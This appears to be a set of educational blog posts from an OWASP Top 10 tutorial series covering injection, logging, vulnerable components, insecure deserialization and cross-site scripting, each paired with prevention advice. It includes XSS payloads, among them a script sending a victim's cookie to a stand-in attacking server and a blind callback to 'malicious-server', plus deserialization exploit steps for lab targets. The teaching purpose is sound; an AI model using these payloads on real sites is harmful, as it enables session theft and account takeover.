OWASP Top 10 vulnerabilities: Injection explained

Hello and welcome to this OWASP Top 10 vulnerabilities course. Today’s blog post is about Injection. 

By the end of this post, you will have understood the following points:

  • What is OWASP Top 10 Injection? 
  • Why Injection is on the top of the OWASP Top 10 vulnerabilities?
  • What is the difference between error and blind-based injection? 
  • OWASP Top 10 Injection flaws.
  • How to exploit Injection?
  • Some real-world Injection attacks
  • OWASP Top 10 Injection prevention 

What is Injection and why it ranks top of OWASP Top 10 vulnerabilities?

Injection sits comfortably on the top of the OWASP TOP 10 vulnerabilities for the last decade. This is for a good reason. In fact, injection is a broad class of vulnerabilities that you can find on pretty much any target. Let’s take the definition of the OWASP Top 10 for injection and analyze it:

Injection flaws, such as SQL, NoSQL, OS, and LDAP injection, occur when untrusted data is sent to an interpreter as part of a command or a query. The attacker’s hostile data can trick the interpreter into performing unintended actions.

I highlighted the key ideas in italic. The first thing to notice is that injection is not specific to a technology. In fact, any feature which expects and processes input is potentially vulnerable to injection. 

The second thing to point out is how large the attack surface is. Tell me how many features you encountered which fall under this very scenario! I’d say most of them. In fact, even a simple search feature on a website takes your input, uses it as part of a command, queries a data store and returns the results to you.

Continuing on the example above, a malicious user can inject a malicious input, called the payload, to perform unintended results by the vulnerable system. If successful, the malicious user can trick the application into returning sensitive information, modify data or delete it altogether.

Error based injection vs blind Injection vulnerabilities

When hunting for Injection vulnerabilities, you will typically encounter two use cases. On the one hand, the application can return error messages which your payload triggered. In this case, you can follow the application errors for what to do next. For example, you can inject a malformed SQL query as simple as a quote and you get the following error:

"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'WHERE id=''' at line 1". 

This tells you a lot! First, you have successfully found a SQL injection. Second, the database engine is MySQL. Third, the application tells you the exact vulnerable part of the SQL query. Lastly, you’ve got a solid bug to report if you are a bug bounty hunter.

On the other hand, you don’t have direct and naive feedback from the application, but rather a hint, or nothing at all! In this case, we call it a blind injection. It requires more effort, but it’s still possible to exploit it as you can see in the OWASP Top 10 training injection blog post.

Now that you have a general understanding, let’s dive into some instances of OWASP Top 10 Injection flaws.

OWASP Top 10 Injection flaws

There are many subsets of the OWASP Top 10 Injection vulnerability class. Below you find most of them. The list is growing, so make sure to subscribe to the newsletter below so that you get a notification each Friday about new content.

SQL injection

SQL injection is a flaw in the way user data is being handled inside a SQL query. Basically, a developer concatenates the expected input directly into the SQL query. SQL injection is one of the most impactful vulnerabilities that exist, it can affect the confidentiality, integrity and availability. To learn more about SQL injection, feel free to read this in-depth SQL injection tutorial.

OS Command injection

OS command injection is a flaw in the way user data is being handled inside an operating system command. Basically, a developer insecurely puts the expected input directly into the OS command. OS injection is one of the deadliest vulnerabilities that exist in the realm of security vulnerabilities. It allows an attacker to have a remote shell on your vulnerable server. As of its impact, it can affect the confidentiality, integrity and availability. If you want to see a real example, read my write-up about how I found and exploited one.

LDAP injection

This injection is a flaw in the way user input is being handled inside an LDAP query. LDAP stands for Lightweight Directory Access Protocol. It is an client-server open industry standard which can be used to access and maintain directory information services. For example, it can be used to authenticate a user, search items, modify entries, etc. Therefore, this type of injection impacts the confidentiality, integrity and availability. You will learn more about LDAP injection in the upcoming blog posts.

OWASP Top 10 Injection attacks

The following are real-world breaches which exploited one of the injections discussed above.

SQL injection in Magento, patch published on March 2019

On its release, Magento urges its users to upgrade to the latest version of Magento. One of the severe vulnerabilities patched was a SQL injection.

CVE-2018-1111 – DHCP Client Script Code Execution Vulnerability

On its advisory on May 2018, RedHat announced that Red Hat Enterprise Linux 6 and 7 are vulnerable to a command injection flaw found in a script included in the DHCP client.

SQL injection against TalkTalk

The breach that affected TalkTalk exploited a SQL injection. Over 4 Million customers were at risk. More than 150K customers’ data was compromised and the company was fined 400K pounds.

OWASP Top ten Injection prevention

Since Injection flaws reside in the way user inputs are handled, a developer should never trust any input. If you do, you’re exposing your asset to security risks which can be damaging. For each of the OWASP Top 10 Injection vulnerabilities discussed earlier, there is a section on how to prevent them. But in general, this OWASP Cheat Sheet covers the guidelines you need to follow when writing your code. The main ideas are as follows.

  • Perform proper input validation: You should sanitize and normalize your input.
  • Use a safe API: For example, using an ORM is far better and secure than building SQL queries yourself.
  • Properly escape your input: If you don’t have an API available, make sure to escape special characters according to the interpreter that will handle your command or query.

That’s it for today, in the next episodes of this OWASP Top 10 vulnerabilities tutorial, we will discuss OWASP Top 10 broken authentication. Stay tuned!

Insufficient logging and monitoring for beginners

insufficient logging and monitoring

Hello and welcome to this last episode of the OWASP Top 10 series. Today’s subject is about Insufficient logging and monitoring.

The world of information security is an ever-changing landscape. Every day, new vulnerabilities emerge and new exploits get published. However, this is just the tip of the iceberg. In fact, there are so many unknown vulnerabilities which are currently exploited by cybercriminals. Therefore, you can’t be sure that your systems are totally immune even when applying the latest patches and updates.

You need to have a way to detect when and how your assets are being compromised. This is where having efficient logging and monitoring measures comes into play. They are like the immune system of your body so to speak.

What is Insufficient logging and monitoring?

Let’s first understand what is logging and monitoring before discussing how they help in security.

What is logging?

Logging is the process of keeping track of system activities and their interactions. It’s a critical piece of your infrastructure. In fact, it allows you to record when events occur, who initiates them, from where, and what actions have been performed. This had two advantages:

  • Firstly, you are building a database which you will use to define metrics and alerts based on specific events, like the number of login attempts. 
  • Secondly, you can use the logged data for any further investigations should any security incident happen.

What is monitoring?

Monitoring consists of constantly observing the logs of a system and searching for anomalies. There are many approaches to monitoring. From defining manual thresholds and metrics to leveraging Artificial Intelligence algorithms. The goal is to spot any malfunctions or deviations from your normal system’s activity.

The lack of proper logging and monitoring in your systems is a bad practice. In fact, when attackers infiltrate a target, they usually generate logs which don’t correspond to your normal system activity. If you can’t monitor and detect such deviations, you are creating a blind spot for attackers to take advantage of.

Insufficient logging and monitoring attack

There are many insufficient logging and monitoring example breaches. One of the big recent incidents affected the giant firm Citrix. In fact, attackers found a weak password as a result of a password spraying attack. Unfortunately, they haven’t been aware until notified by the FBI about a breach which led to 6TB of stolen data.

Insufficient logging and monitoring allowed hackers to take their time to infiltrate inside the Citrix network and exfiltrate 6TB of data.
Insufficient logging and monitoring allowed hackers to take their time to infiltrate inside the Citrix network and exfiltrate 6TB of data.

Insufficient logging and monitoring impact

As you saw in the attack examples section above, insufficient logging and monitoring give enough room for cybercriminals to cause the biggest damage possible. In other words, they can breach your perimeter, pivot inside your networks, steal data, persist their existence, spy on you and get away with it. The worst part is that you will probably never detect the attack. Think of this as your systems suffering from HIV, any threat can be deadly.

How to prevent Insufficient logging and monitoring?

There are many things you need to implement for efficient logging and monitoring:

  • Invest in a logging and monitoring solution.
  • Define security metrics which trigger an alert if a certain threshold is met. For instance, if you receive too many login requests from a user, your monitoring system should raise an alert.
  • Make sure you dedicate enough human resources to handle the reported alerts. Otherwise, you will not benefit from your investment.
  • Test your logging and monitoring systems during a penetration testing to verify if you can detect and understand what the penetration testers are doing.
  • Keep testing and enhancing your alerts and incident handling processes. 
  • If you choose to implement your own logging and monitoring features, make sure you don’t introduce security vulnerabilities.

You can read more on OWASP Insufficient logging and monitoring cheat sheet and proactive controls.

As usual, here is the video tutorial:

Using components with known vulnerabilities

Hello dear readers and welcome to this new OWASP Top 10 episode. Today, you will learn why using components with known vulnerabilities is bad, how to exploit it and how to mitigate it.

So far, we’ve seen how you can write secure code which doesn’t expose security vulnerabilities. However, you might write 100% secure code and still be vulnerable. How is that possible? Well, through the usage of vulnerable components. In this episode, we will address just that!

This is the plan for this episode:

  • We will explore how developers might unintentionally be using components with known vulnerabilities.
  • From there, we will explore how to detect and exploit vulnerable components?
  • Then, we will practice on examples in OWASP WebGoat and Juice Shop
  • Also, we will discover some real-world attacks leveraging insecure components.
  • How this vulnerability might affect security?
  • Finally, we will explore how you can mitigate this issue and some tools to help you along the way.

How are you unintentionally using components with known vulnerabilities?

Unless you are writing a really simple function which doesn’t do much, you will reuse software of other people. From development to deployment, you will use libraries, frameworks, technologies, etc. And guess what! Those third-party components will also depend on other components!

This comes at a cost. In fact, part of the third-party software components you will reuse will suffer from security vulnerabilities. Besides, you might even be using some malicious components. Therefore, checking your code is a need, not a luxury.

Let’s first understand how attackers find and exploit vulnerable components.

How to detect and exploit vulnerable components?

When you hunt for assets which use components with known vulnerabilities, the first step is to fingerprint the technologies.

Step 1: Fingerprint technologies

During this step, you should gather the names and versions of the technologies which the application uses. You can use many techniques.

Checking known HTML elements

Usually, the HTTP traffic contains hints like names of Cookies, HTTP headers, title values and links, etc. However, you might not recognize most of them. Therefore, you can use tools to assist you. For example, the Wappalyzer browser extension fingerprints the technologies based on elements of the HTML page and HTTP headers.

Triggering errors

Sometimes, you can trigger verbose errors which give you a hint on the technologies being used. This is where fuzzing is handy. For example, you can remove expected parameters, send unexpected values, etc. If you receive an error, it usually contains some hints about the stack.

Forced browsing

You can directly access known directories using some publicly available dictionaries to look for typical login portals, README files, etc. which might contain the name and the version of the components. Better yet, if you find files like package.json or bower.json, you will have access to the list of all libraries and versions. You can see this is the video tutorial at the end of this blog post.

Source code

If you have access to the source code, don’t hesitate to collect the dependencies. You will have full visibility of the components being used.

Step 2: Find public vulnerabilities and exploit the weak components

If you are lucky, you might find CVEs with public exploits on multiple online resources, such as Exploit DB for public exploits, Snyk for open source libraries and CVE databases for vulnerabilities. From there, you can either directly use the public exploits or try to exploit the CVE you found in the CVEs database.

Never blindly execute public exploits without first understanding what they do! Sometimes, they contain malicious code which will exploit your machine.

Practice examples of using components with known vulnerabilities

In this section, we will see how both vulnerable and malicious libraries can affect the security of your own code.

Outdated or vulnerable dependencies

The most obvious case of reusing insecure components is when they suffer from security vulnerabilities. For instance, OWASP WebGoat uses a vulnerable version of the Xstream library to transform an XML document into a Java object. In the pom.xml file, notice that the library’s version 1.4.5.

OWASP WebGoat using components with known vulnerabilities: Xstream 1.4.5
OWASP WebGoat using components with known vulnerabilities: Xstream 1.4.5

Looking for public exploits on the internet reveals that this version suffers from a severe deserialization vulnerability, which leads to remote code execution.

Sending the following code will create the file /tmp/here on the docker container.

    <handler class='java.beans.EventHandler'>
      <target class='java.lang.ProcessBuilder'>

You can see this in action on the video tutorial linked at the end of this blog post.

Malicious components and Typosquatting

Sometimes, developers might reuse a rogue component which resembles the legitimate one. This is known as Typosquatting. It is a scary thing! Especially when the malicious library is widely used by other projects. For instance, this GitHub issue reports how the attacker has been exfiltrating SSH keys and internal files using a rogue module which he had named python3-dateutil. This name was not randomly chosen. In fact, the legitimate module name is python-dateutil. Unfortunately, a few hundred developers fell for it. 

Using components with known vulnerabilities : Malicious Python package  python3-dateutil exfiltrates internal files
Using components with known vulnerabilities : Malicious Python package python3-dateutil exfiltrates internal files

On OWASP Juice Shop, I am demonstrating a typosquatting issue on the video tutorial linked at the end of this blog post.

Real-world attack examples of using components with known vulnerabilities

In this section, we will explore some real-world attacks which leveraged vulnerable components.

The most famous attack in the real-world

Probably, the most famous manifestation of this issue would be the Equifax breach. In fact, the entry point was a vulnerable version of Struts, CVE-2017-5638, to gain remote code execution and pivot inside the Equifax network and steal more than 140M customers’ personal information.

Bug bounty hunting reports

In this write-up, the hacker demonstrates how he was able to develop exploits against a vulnerable WordPress plugin when no public exploits were available. He exploited a SQL injection, a CSRF and an XSS vulnerability. This is a demonstration of how you can use a CVE to write your own exploit.

You also have this report which demonstrates how the hacker was able to exploit an XSS vulnerability due to a vulnerable version of the Tinymce library. As a side note for bug bounty hunters, note how a valid proof-of-concept can greatly impact the quality and the reward of the report.

Impact of using components with known vulnerabilities

Generally, this issue can lead to severe breaches. On the one hand, your code will be vulnerable to whatever the component is vulnerable to. On the other hand, rogue libraries will definitely affect you since they purposely leverage your code to steal your sensitive data.

How to prevent using components with known vulnerabilities?

To prevent this issue, the ideal solution would be to never trust third-party components unless you are sure of their safety. Unfortunately, this is easier said than done. In fact, it is not realistic to manually verify all the libraries you are using in your code.

In this article, Snyk explains how a library was stealing bitcoins. I recommend you read it, but here are the takeaways:

  • The widely used event-stream package contained a malicious package named flatmap-stream.
  • The event-stream package was not actively maintained: This is a criterion you should take into consideration. You should prefer components with a healthy community.
  • Mitigating the risk would simply involve removing the rogue library. However, this is not scalable due to the considerable number of components you are using. Therefore, you should constantly and automatically monitor your dependencies. Snyk provides this feature. But in general, you must have a dependency checking process for all your projects. For example, OWASP provides this dependency checker for Java projects.

Additionally, you should implement the following:

  • Have a patch management process which helps you detect and patch vulnerable components using public CVE databases.
  • Additionally, you should apply some behavioural analysis to spot any unusual activity. For instance, you should inspect any server initiating requests to external servers. You can use tools such as Rita for this purpose.

As usual, here is your video tutorial

Insecure Deserialization explained with examples

insecure deserialization

Hello ethical hackers and welcome to this new episode of the OWASP Top 10 vulnerabilities series. In this blog post, you will learn Insecure Deserialization vulnerability. The plan is as follows:

  • Insecure deserialization definition: This where you will learn the key terminologies and concepts behind this vulnerability, 
  • Examples of insecure deserialization in different programming languages: We will explore simple examples on PHP, Python and JAVA to help you understand how the vulnerability works.
  • What is the impact: In this section, you will understand how bad insecure deserialization can be.
  • Are there any real-world examples? In this section, we will explore many known CVEs which exploited this vulnerability. Some of them are insecure deserialization bug bounty reports from Hackerone.
  • How to exploit it? This is where you will learn to go beyond running tools. You will perform white box testing and build custom code to solve a challenge on OWASP WebGoat.
  • Finally, we will talk about how to mitigate insecure deserialization.

What is insecure deserialization?

Let’s first understand the whole picture here. When you learn a programming language, the first thing you learn is how to define variables, classes and data structures that best suit your needs. Then, you learn how to manipulate them to achieve your needs. So far, they reside in memory, but sometimes, you need to store their states or share them with other systems. That’s where serialization and deserialization come into play.

What is Serialization?

Let’s say that you are playing with a character in a game. While you see the character on the screen, the software sees and manipulates an object residing in memory.

What if the game wants to store the state of that character in a file or share it with other systems? There should be a way to transform the in-memory object into a stream of bytes which can be easily stored and shared. That is what the process of serialization is all about. When the game performs the serialization of an object, we say that the object is serialized.

What is Deserialization?

Deserialization is the opposite of serialization. In fact, it consists of converting the serialized data into an in-memory representation which the software can then manipulate. Continuing on the previous example, when the game wants to retrieve the state of the serialized character object, it needs to deserialize it first.

What can go wrong here?

When a software deserializes user-controlled data without verification, we call it insecure deserialization. In our game example, an attacker might store a serialized file representing a malicious payload. If the developer doesn’t perform a verification before deserialization, the insecure deserialization will trigger the attacker’s code.

Insecure deserialization examples

All the code discussed in this section is hosted on GitHub. Feel free to download it and follow along.

You find insecure deserialization in so many programming languages and technologies. We will explore it in PHP, Python and Java. I highly recommend you follow along with these three exercises on your own machine. If you don’t have one, feel free to download the one I prepared for this course.

Insecure Deserialization in PHP

Also known as PHP object injection, this vulnerability takes advantage of PHP magic functions, like __destruct. Simply put, the vulnerable code defines some dangerous code of a certain class in this function. Then, it performs insecure deserialization somewhere. For example, the file-php-object-injection-example-deserialize-php file contains PHP code which deserializes an arbitrary object from a file named “serial”. Notice that we have two classes: NormalClass which the developer expects, and DangerousClass which resides in the code.

However, an attacker sees this PHP insecure deserialization operation and crafts this code, which will serialize an object of the DangerousClass type, which runs the command “ls” by the application.

Let’s spin up a new Docker container from our lab VM and serialize the malicious payload. We will map the /tmp directories of both the host and the guest. That way, we save the malicious file for later.

docker run -v /tmp:/tmp:rw -it php

Then, copy paste the gist which will perform the serialization and save the malicious file in the host’s /tmp directory. From there, we will spin up a new PHP container which will simulate our vulnerable machine. 

docker run -v /tmp:/tmp:rw -it php

Then, copy paste the gist. Notice that the “ls” command has run!

If we try to unserialize the variable $serial without first declaring the class in the vulnerable machine, we wouldn’t be able to list the current directory. To exploit PHP deserialization using the unserialize function, there are two requirements:

  • The vulnerable server has to define a class which define a __destruct function that runs dangerous code
  • The attacker should be able to control the unserialized data.

Another form of PHP object injection is Phar deserialization. Basically, PHP Archives store the file metadata as serialized objects. When PHP code tries to perform certain operations on a file, the attacker’s code will run. This Hackerone report is an example of that.

Insecure Deserialization in Python

In python, the insecure deserialization pickle vulnerability is overwhelmingly simple! It is sufficient to locate a feature which uses your input in pickle.loads(user_input). Then, craft a code which will generate a serialized payload defining the __reduce__ method. Let’s look at this example:

import pickle

with open('serial', 'r') as f:

This simple code performs a Python insecure deserialization from a file named serial using the Pickle module. If you go to the module documentation, you can see a red notice which clearly warns you not to deserialize untrusted data. The attacker sees my vulnerable code and generates a serialized payload which will run the OS command “id”.

Now, when you run the vulnerable code, you will get the result of the command “id”.

Java deserialization vulnerability example

In this insecure deserialization java example, we will explore, step-by-step, how we can exploit insecure deserialization in Java. The code defines a class with the name NormalObj, which does nothing but print the name attribute when the deserialization happens. This behaviour is defined in the readObject method. However, there is also another class that I called VulnObj, which is not called anywhere in the code. The VulnObj class defines a readObject method which runs arbitrary commands when the deserialization happens.

Unfortunately, I assumed that nobody will access the filesystem. Therefore, I blindly performed deserialization from the file normalObj.serial without verification.

An attacker sees this buggy code and crafts this program. It serializes a malicious VulnObj object containing the command ls. Then, it stores it on disk with the name normalObj.serial, the same name as the expected one from my code.

Exploiting this Java insecure deserialization use case

We will now compile our code and execute it. For that, I will use a java docker image because I will need two separate machines simulating the attacker’s and the victim’s. You already have Docker installed in the free lab available for you. I recommend you connect to it and follow along. If you already have a lab of your own with Docker installed, that’s great!

We will start a brand new container while mapping the /tmp directory in our host to the /tmp directory in the guest. That way, we can get the serialized file and use it later.

docker run -it -v /tmp:/tmp:rw java /bin/bash

When you get the prompt, download the JavaSerial.java code available in this gist. Then, we will compile the code and run it

javac JavaSerial.java && java JavaSerial && exit

Now we will spin up the victim’s Docker container 

docker run -v /tmp:/tmp:rw java /bin/bash

The, we will download the JavaDeserial.java file. Finally, we will compile and execute our deserialization operation

javac JavaDeserial.java && java JavaDeserial

Notice how we get the directory listing of the /tmp directory, meaning that the command ls has been executed even if the application didn’t expect to use the VulnObj in the code at all.

If you find it difficult to understand the code, don’t worry, there are only two things to remember from this example:

  • The deserialization code has run our own ls command from the stored file without any verification even if the deserialized object is expected to be of NormalObj type.
  • The second important thing to note is the magic number of the serialized object. Let’s base64 encode the stored file and discover it.
cat vulnobj.serial | base64 

The idea I want you to remember is whenever you encounter rO0AB in a base64 string in an application, think about testing it against the Java insecure deserialization vulnerability.

Insecure deserialization impact

As you saw so far, a successful attack leads to arbitrary code execution. This means that the impact will damage Confidentiality, Integrity and Availability. However, if the attacker can’t build the right serialized payload, he can still trigger an exception and crash the server, therefore impacting Availability.

Insecure deserialization tools

There are many tools which can assist you when you are hunting for insecure deserialization vulnerabilities. In the case of Java, you can use the Java Deserialization Scanner Burp Suite extension. It allows you to test for different libraries using predefined POP gadget chains. Then, you can use Ysoserial to generate the appropriate payload. However, you noticed how these tools didn’t help much in the previous insecure deserialization WebGoat challenge. Therefore, I think that the most valuable tool for this vulnerability would be a good deal of white-box testing, some patience and analysis skills.

Insecure deserialization attacks

Many attacks are exploiting this vulnerability in many different languages. We will explore some of them in this section.

Insecure deserialization attacks

Let’s start with a PHP object injection example. In CVE-2018-20717, Prestashop suffered from a PHP insecure deserialization vulnerability. In this particular case, Prestashop uses user-controlled input in the unserialize function, which is a bad practice as we’ve seen earlier. However, notice how fixing a bad practice by implementing a filter is not a good idea. That CVE is exactly a demonstration of that!

In the world of Java, there is a classic example of Java insecure deserialization with the commons-collection library. Since so many Frameworks use this library, CVE-2015-7501 targets all of them at once. And the impact leads straight to remote code execution. There are even tools which exploit it on the fly.

Insecure deserialization Hackerone reports

In this insecure deserialization write up, you can learn the steps required to achieve a PHP object injection exploit. Notice how a successful attack generally involves going through a series of actions, reading the code and thinking outside the box. However, the general idea that we explained before remains the same and will act as a compass in your hacking journey.

In this insecure deserialization POC, you will find the steps which you can replicate when you want to exploit CVE-2015-7501 that we mentioned earlier using the Ysoserial tool. Specifically, it targets Jboss’s JMXInvokerServlet vulnerable servlets.

Finally, this CTF write-up is a great exercise which combines many vulnerabilities, including two insecure deserialization vulnerabilities, to achieve remote code execution.

How to exploit insecure deserialization?

In this tutorial, we will exploit a Java insecure deserialization on OWASP WebGoat.

Insecure deserialization detection

A lot of people wonder how to detect insecure deserialization vulnerabilities in Java. Well, it’s no magic. In our case, we will first perform a black-box approach. Therefore, we will explore the application until we find a payload which starts with rO0AB as we explained earlier. In challenge 5, under the Insecure deserialization menu, notice how the application expects a serialized java object.

How to test insecure deserialization ?

The easiest way to exploit it is to follow the instructions that we mentioned earlier in the Jboss Hackerone write-up. In other words, you generate a payload using the Ysoserial tool. Optionally, you can use the Java Deserialization Scanner Burp plugin to detect which library to build your payload on. This is well documented here. However, the latest release of WebGoat performs some checks before deserialization. In fact, In line 57 of the challenge source code file, WebGoat checks if the object to deserialize is an instance of the VulnerableTaskHolder class. Likely for us, this class performs OS commands in line 56. The taskAction attribute holds the command from the input which we control in the constructor.

Insecure deserialization : The VulnerableTaskHolder class accepts the taskAction in its constructor
Insecure deserialization : The VulnerableTaskHolder class accepts the taskAction in its constructor

Generate the payload

Now that we found the right class to serialize as well as where to inject our command. The goal is to cause a sleep of 5 seconds on the application. I’ve prepared the following gist which stores the serialized payload in a file on disk, exactly like we did in our previous Java insecure deserialization example.

I’ve downloaded the WebGoat release code. Then, I’ve used my IDE to create a Java class in the vulnerable package and pasted the gist. Finally, always from my IDE, I run the code which generates my serial file.

Exploiting the vulnerability

Now that we have the malicious payload, we simply need to base64 encode it and send it in the application’s input field.

cat serial | base64 -w0

Notice how the payload starts with rO0AB.

Insecure deserialization: payload ready to be used
Insecure deserialization: payload ready to be used

Sending this payload will effectively cause a sleep of 5 seconds.

Note: The vulnerable class checks if the token is older than 10 minutes. You need to generate one yourself and use it within 10 minutes.

Hopefully, this insecure deserialization tutorial gave you the roadmap of how to research and exploit this vulnerability. For more info about other languages, head to the OWASP insecure deserialization cheat sheet.

Insecure deserialization mitigation

As you might have concluded from what we saw, you should never trust data when you deserialize it. You perform checks on whitelisted classes you expect. This depends on each programming language. For example, Python provides you with the ability to restrict classes. For java, you saw how the WebGoat challenge checks if the serialized data is of type VulnerableTaskHolder.

If you’d want to implement solutions which don’t depend on a language, think about using data formats like JSON or XML, and use digital signatures. You can find more on that in the OWASP insecure deserialization prevention cheat sheet.

Insecure deserialization references


If you are new to hacking and want to learn the basics, read the Ultimate Guide to OWASP Top 10, which covers both the theory and the hands-on exercises you’ll need to kickstart your career. I have prepared a dedicated hacking lab that you can download and use for free. Many other articles on hacking and bug bounty hunting are available on thehackerish.com.

As usual, here is the video tutorial.

Cross-site Scripting, XSS explained

Hello ethical hackers! Welcome to this new episode of the OWASP Top 10 vulnerabilities series. In this article, you will learn Cross-Site Scripting (XSS).

I’ve prepared a free practical testing lab VM which contains the best vulnerable web applications. The best approach to learn hacking is practice!

There is so much content addressing this subject, from discovery to all kinds of filter bypass. This blog post will explain all these aspects and give you references to go deeper for each one. Hopefully, it will be a general guide for you to come back to when you need anything related to XSS.

During this episode, you will learn the following:

  • How does this vulnerability work? This is where you will understand the underlying concepts which allow for a Cross-Site Scripting vulnerability to happen. You can’t understand the rest if you don’t understand this section.  
  • What are the types of XSS? We will explore all the different types with examples.
  • Where to find it? I will share with you the different injection contexts where XSS might occur.
  • How to test for it? In this section, you will learn the different approaches to testing for this vulnerability.
  • Filter bypass: You will learn how to bypass a Cross-Site Scripting filter bypass in a challenge.
  • Some attack examples: You will find and analyze real bugs disclosed on Hackerone. Hopefully, this will inspire you to find them yourself.
  • What is the impact? Once you have found a Cross-Site Scripting vulnerability, you will learn what you can do with it.
  • How to prevent it? If you are a developer and want to secure your code against this issue, or if you are a bug bounty hunter trying to write an exhaustive report including how to mitigate it, this section is for you.
  • References for further reading: There are many awesome in-depth references which will help you go even deeper in particular aspects of this topic.

How does XSS work?

Web applications serve HTML to the Web Browsers, which typically contain JavaScript to instruct them how to perform many operations, such as:

  • Producing an interactive user experience with animations, transitions, etc.
  • Making API calls to the back-end server.

Web Applications also process user inputs and show the result in the rendered HTML. For example, when you write a comment, the application stores it and shows it in the comments section.

Cross-Site scripting happens when the application fails to properly encode user input when the Web browser processes it. Therefore, an attacker can inject arbitrary JavaScript code inside the vulnerable application. When the victim navigates to the vulnerable page, the Web Browser runs the malicious JavaScript code. 

To continue on the previous example, an attacker can insert JavaScript code in the comment field. As a result, when the victim’s Web Browser renders the HTML comments page, the attacker’s JavaScript code runs against the victim.

Types of Cross-Site Scripting

There are three types of Cross-Site Scripting. Each one has its own use cases.

Reflected Cross-Site Scripting

As the name suggests, this type happens when the backend reflects untrusted user input into the HTML result page. For example, you navigate to vulnerable.site/search?query=example. Then, the backend fetches the data from a datastore and returns the result <h1>example book</h1>. An attacker can insert </h1><script>alert('XSS')</script><h1> into the query parameter to instruct the Web Browser to run the JavaScript alert function. Therefore, the full malicious URL would be: vulnerable.site/search?query=<code></h1><script>alert('XSS')</script><h1></code>. Consequently, a popup appears in the result HTML page.

In order to target a victim, the attacker must entice him/her to click on the malicious URL so that the popup triggers on his/her Web Browser.

Stored Cross-Site Scripting

In a Stored XSS scenario, the malicious payload we saw earlier gets stored in the database. Let’s consider a comment feature where users comment on an article and list all the comments. An attacker injects <script>alert(123)</script>. Therefore, any victim which navigates to the comments page will see a popup in his/her Web Browser.
Note that the attacker doesn’t necessarily need to share the link with the victim.

DOM Cross-Site Scripting

This is a special case of reflected XSS. In fact, the payload doesn’t reach the server. Instead, it ends up in a JavaScript piece of code. For example, suppose you have a web page which redirects users based on the hash value. You can open the following code in your Web Browser and experiment with it:

var path = document.location.hash.substring(1);
window.location = path;

An attacker can trigger the vulnerability using the following URL: /path/to/the/file#javascript:alert(123)

Note that you didn’t have to set up any Web Server to run arbitrary JavaScript code.

Note: When you find a Cross-Site Scripting vulnerability which cannot exploit other users, it is called a Self-XSS. For example, you can’t target other users with your shipping address shown in your private profile. Therefore, you need to chain it with another vulnerability, like CSRF, to prove a concrete impact.

Now that you understand how XSS works, let’s explore where to find it.

Where to find XSS?

You can find it in many contexts, depending on where your input gets inserted. The following are some use cases. In all the injection contexts, the general idea is to construct a valid HTML piece of code which will trigger your XSS.

Inject in HTML tags

When you notice your user input inside HTML tags, you have to test if you can inject arbitrary tags. For example, let’s suppose that the following endpoint /search?query=hacking returns <h1>Results for hacking are …</h1>. You can replace hacking with <img>. If you see a broken image in the result, this is a strong indication that you can achieve an Cross-site Scripting.

Inject in HTML attributes

When you notice your user input inside HTML attributes, you have to test if you can inject arbitrary attributes or escape from the context of the attribute. For example, let’s suppose that the following endpoint /search?query=hacking returns <h1 id="hacking">Results are …</h1>. You can replace hacking with dummy style="color:red". If you see a the text Results are … in red, this is a strong indication that you can achieve an XSS. Besides, you can also inject dummy"><img src=x><h1 and see whether you can inject an image. If you succeed, this indicates that you can escape the context of the attribute and potentially inject arbitrary tags, falling back to injection in the HTML tags context.

Inject in JavaScript

When your input ends up inside a JavaScript code, try to build a valid instruction. For example, let’s suppose that the following endpoint /search?query=hacking returns <h1>var query = "hacking"<h1>. In this case, try to inject hacking";console.log("potential XSS");//. If you see the message potential XSS in the Web Browser’s console, this means that you have achieved an XSS.

Inject in a JSON response

Sometimes, an API returns a JSON response with a Content-Type HTTP header of text/html. If this happens, try to inject a HTML tag like <img> and see if your Web Browser gets a broken image.

Because XSS can trigger in many injection contexts, you can use Cross-Site Scripting polyglots which are designed to cover as many contexts as possible. For example, have a look at this polyglot which targets many injection contexts.

How to test for XSS?

There are many approaches you can follow to hunt and test for XSS.

Manual, error-based testing

This is the most basic approach. Basically, you inject a payload in all the fields that you find. Whenever an XSS triggers, you will see a popup. Although you can find this vulnerability with this basic technique, it is a tedious task. Besides, there are some cases where you will not see a popup. For example, the XSS can trigger in a separate application run by an agent.

Manual, blind-based testing

In order to increase your chance of finding XSS, you can use a blind approach. Basically, instead of relying on a popup as proof, you can inject a callback to a server which you control. For example, you can inject <img src=”http://malicious-server”>. When an XSS triggers, you will get a callback to your server.

There are many tools which simplify this process and provide more information when the XSS triggers. You can use BeEF or xsshunter for that purpose.

Automated approach using XSS testing tools

This is where automated scanners come into play. For example, you can use Burp Suite Pro or OWASP ZAP to test for Cross-Site Scripting vulnerabilities. As we demonstrated in the SQL injection hands-on tutorial, both of them allow you to target specific vulnerabilities. Besides, there is a rising tool, currently on beta, called KNOXSS which specializes in finding reflected and DOM XSS at the moment.

XSS impact, beyond alert

So far, we’ve just used the JavaScript’s alert function to prove the existence of XSS. This is more than enough for the majority of your clients. However, you can go beyond that when your client gives you permission.

When you succeed at exploiting a Cross-site Scripting vulnerability, it’s like you’ve got a chair in front of the victim’s Web Browser. You can perform almost all the operations the user can do on the vulnerable application.

Forge requests

If cookies are well protected, you can target a feature in the application. For example, if the application allows you to edit the email without asking for a password, you can forge a request using JavaScript and edit the email. Then, when you can reset the victim’s password, you will receive the password reset link in your email address. Therefore, you will achieve an account takeover.

Steal cookies and sensitive data

XSS allows you to steal unprotected Cookies and tokens. For example, the following JavaScript code will exfiltrate the victim’s cookie of a vulnerable web application.

<img id="xss"><script>document.getElementById("xss").src="your-attacking-server/?cookie="+document.cookie</script>

The code above inserts an image with id xss in the vulnerable page. Then, it sets its src attribute to point to your attacking website while appending the victim’s cookie. When the victim loads the page, you will get the cookie value as part of the callback URL which you receive in your attacking server.

Redirect to a malicious website

You can also inject JavaScript code to redirect users to your malicious website, which might be a replica of the original application’s login page. Usually, people don’t pay attention to the address bar, especially if they are on mobile. For example, the following script will redirect users to your server.


Deface a website

Another way to exploit XSS is to deface the vulnerable page itself. This technique is usually used by hacktivists to harm the image of the target.

XSS filter bypass

You might think that the best approach to prevent this issue would be to sanitize user inputs. Unfortunately, this is not the case. In fact, hackers always find bypasses to XSS filters. OWASP provides the XSS filter evasion cheat sheet which hackers typically use for this purpose.

In the video tutorial at the end of this article, you can see how a poorly written filter doesn’t prevent XSS.

Cross-Site Scripting prevention

